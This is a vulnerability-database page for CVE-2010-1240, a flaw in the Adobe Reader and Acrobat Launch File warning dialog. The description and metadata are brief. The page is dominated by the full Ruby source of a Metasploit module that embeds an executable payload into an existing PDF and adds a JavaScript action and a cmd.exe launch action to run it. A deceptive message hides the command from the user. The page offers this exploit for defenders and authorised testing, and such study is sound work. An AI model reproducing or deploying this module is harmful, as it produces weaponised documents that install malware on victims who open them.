CVE-2010-1240

critical
Published 2010-04-05 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

Adobe Reader and Acrobat 9.x before 9.3.3, and 8.x before 8.2.3 on Windows and Mac OS X, do not restrict the contents of one text field in the Launch File warning dialog, which makes it easier for remote attackers to trick users into executing an arbitrary local program that was specified in a PDF document, as demonstrated by a text field that claims that the Open button will enable the user to read an encrypted message.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-16671 local windows verified ruby ยท 13 KB
Metasploit ยท 2010-12-16

Adobe PDF - Embedded EXE Social Engineering (Metasploit)

ruby exploit Source: Exploit-DB
##
# $Id: adobe_pdf_embedded_exe.rb 11353 2010-12-16 20:11:01Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::PDF_Parse
	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Adobe PDF Embedded EXE Social Engineering',
			'Description' 	=> %q{
					This module embeds a Metasploit payload into an existing PDF file. The
				resulting PDF can be sent to a target as part of a social engineering attack.
			},
			'License'	=> MSF_LICENSE,
			'Author'	=>
				[
					'Colin Ames <amesc[at]attackresearch.com>', # initial module
					'jduck' # add Documents for vista/win7
				],
			'Version'        => '$Revision: 11353 $',
			'References'     =>
				[
					[ 'CVE', '2010-1240' ],
					[ 'OSVDB', '63667' ],
					[ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
					[ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
					[ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ]
				],
			'Payload'	=>
				{
					'Space'			    => 2048,
					'DisableNops'		=> true,
					'StackAdjustment'	=> -3500,
				},
			'Platform'	=> 'win',
			'Targets'	=>
				[
					[ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English)', { 'Ret' => '' } ]
				],
			'DefaultTarget'	=> 0))

		register_options(
			[
				OptString.new('INFILENAME', [ true, 'The Input PDF filename.']),
				OptString.new('EXENAME', [ false, 'The Name of payload exe.']),
				OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
				OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',
					"To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),
			], self.class)
	end

	def exploit

		file_name = datastore['INFILENAME']
		exe_name = datastore['EXENAME']

		print_status("Reading in '#{file_name}'...")
		stream = read_pdf()
		print_status("Parsing '#{file_name}'...")
		pdf_objects = parse_pdf(stream)
		print_status("Parsing Successful.")
		xref_trailers 	= pdf_objects[0]
		trailers	= pdf_objects[1]
		startxrefs	= pdf_objects[2]
		root_obj	= pdf_objects[3]

		output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)

		print_status("Creating '#{datastore['FILENAME']}' file...")
		file_create(output)
	end


	def ef_payload(pdf_name,payload_exe,obj_num)

		if !(payload_exe and payload_exe.length > 0)
			print_status("Using '#{datastore['PAYLOAD']}' as payload...")

			payload_exe = generate_payload_exe
			file_size = payload_exe.length
			stream = Rex::Text.zlib_deflate(payload_exe)
			md5 = Rex::Text.md5(stream)

		else
			print_status("Using '#{datastore['EXENAME']}' as payload...")

			file_size = File.size(payload_exe)
			stream = Rex::Text.zlib_deflate(IO.read(payload_exe))
			md5 = Rex::Text.md5(File.read(payload_exe))

		end

		output = String.new()

		output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
		output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>stream\r#{stream}\r\nendstream\rendobj\r"


		return output
	end

	def js_payload(pdf_name,obj_num)

		output = String.new()
		output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
		output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "

		# change to the home drive/path no matter what
		output << "%HOMEDRIVE%&cd %HOMEPATH%"

		# check for the pdf in these dirs, in this order..
		dirs = [ "Desktop", "My Documents", "Documents" ]
		dirs.each { |dir|
			fmt = "&"+
				"("+
					"if exist \"%s\" "+
						"(cd \"%s\")"+
				")"
			fname = "%s\\\\#{pdf_name}.pdf" % dir
			output << fmt % [fname, dir]
		}
		launch_message = datastore['LAUNCH_MESSAGE']
		lines = []
		launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << $& }
		if (lines.length > 2)
			print_status("Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.")
		end

		output << "&"+
			# note: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/
			"(start #{pdf_name}.pdf)"+
			# note: The below message modifies the text in the "File:" textfield of the "Launch File" dialog
			("\n"*10) +
			launch_message+
			# note: this extra rparen is required.
			")"+
			">>>>\rendobj\r"

		return output

	end


	def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)

		file_name = file_name.split(/\//).pop.to_s

		match = file_name.match(/(.+)\.pdf/)
		if match
			pdf_name = match[1]
		end

		catalog = parse_object(xref_trailers,root_obj,stream)


		match = catalog.match(/Names (\d+ \d) R/m)
		if match

			names = parse_object(xref_trailers,match[1],stream)
			match = names.match(/EmbeddedFiles (\d+ \d) R/m)
			if match
				embedded_files = parse_object(xref_trailers,match[1],stream)
				new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')
			else
				new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')
			end

		else
			new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")
		end

		if catalog.match(/OpenAction/m)

			match = catalog.match(/OpenAction (\d+ \d) R/m)
			if match
				open_action = "#{match[1]} R"

				if new_catalog
					if new_embedded_files
						new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
					elsif new_names
						new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
					else
						new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
					end
				else
					if new_embedded_files
						new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
					elsif new_names
						new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
					else
						new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
					end

				end
			else
				if new_catalog
					new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
				else
					new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
				end
			end
		else
			if new_catalog
				if new_embedded_files
					new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
				elsif new_names
					new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
				else
					new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
				end

			else
				if new_embedded_files
					new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
				elsif new_names
					new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
				else
					new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
				end
			end
		end



		pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
		pages = parse_object(xref_trailers,pages_obj,stream)

		page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
		page = parse_object(xref_trailers,page_obj,stream)

		match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
		while match

			page_obj = match[1]
			page = parse_object(xref_trailers,page_obj,stream)
			match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
		end

		match = page.match(/AA<<\/O (\d+ \d) R/m)
		if match
			aa = parse_object(xref_trailers,match[1],stream)
		end


		new_pdf = String.new()
		xrefs = String.new()


		if new_embedded_files
			pdf_payload = String.new()
			num = trailers[0].fetch("Size").to_i - 1
			pdf_payload << ef_payload(pdf_name,exe_name,num)
			pdf_payload << js_payload(pdf_name,num)
			new_pdf << stream << pdf_payload

			xrefs = xref_create(new_pdf,stream.length,"*")

			new_size = trailers[0].fetch("Size").to_i + 4

			if aa
				new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')
			else
				new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')
			end

			new_pdf << new_catalog
			xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

			new_pdf << new_page
			xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

			new_pdf << new_embedded_files
			xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")

			if trailers[0].has_key?("ID")
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
			else
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
			end

			new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"

		elsif new_names
			pdf_payload = String.new()
			num = trailers[0].fetch("Size").to_i
			pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"
			pdf_payload << ef_payload(pdf_name,exe_name,num)
			pdf_payload << js_payload(pdf_name,num)
			new_pdf << stream << pdf_payload

			xrefs = xref_create(new_pdf,stream.length,"*")

			new_size = trailers[0].fetch("Size").to_i + 5

			if aa
				new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')
			else
				new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')
			end

			new_pdf << new_catalog
			xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

			new_pdf << new_page
			xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

			new_pdf << new_names
			xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")

			if trailers[0].has_key?("ID")
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
			else
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
			end

			new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"


		else
			pdf_payload = String.new()
			num = trailers[0].fetch("Size").to_i + 1
			pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
			pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
			pdf_payload << ef_payload(pdf_name,exe_name,num)
			pdf_payload << js_payload(pdf_name,num)
			new_pdf << stream << pdf_payload
			xrefs = xref_create(new_pdf,stream.length,"*")

			new_size = trailers[0].fetch("Size").to_i + 6

			if aa
				new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')
			else
				new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')
			end

			new_pdf << new_catalog
			xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")

			new_pdf << new_page
			xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")

			if trailers[0].has_key?("ID")
				new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
			else
				new_pdf << "xref\r\n" << xrefs
				new_pdf << "trailer\r\n"
				new_pdf << "<</Size #{new_size}/Prev #{startxref}"
				new_pdf << "/Root #{trailers[0].fetch("Root")} R"
				new_pdf << "/Info #{trailers[0].fetch("Info")} R>>\r\n"
			end

			new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"


		end


		return new_pdf
	end
end
EDB-16682 local windows verified
Metasploit ยท 2010-12-16

Adobe PDF - Escape EXE Social Engineering (No JavaScript) (Metasploit)

Source code queued for fetch โ€” refresh in a moment.
EDB-11987 local windows verified
Didier Stevens ยท 2010-03-31

Adobe Reader - Escape From '.PDF' Execute Embedded Executable

Source code queued for fetch โ€” refresh in a moment.

Metasploit modules

Adobe PDF Embedded EXE Social Engineering
Source fetch failed: fetch_error โ€” view the original via the link above.
Adobe PDF Escape EXE Social Engineering (No JavaScript)
Source fetch failed: fetch_error โ€” view the original via the link above.

Application impact

VendorProductVersionsFixed
adobe adobeacrobat_reader9.3.1

References

CWEs

CWE-264

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.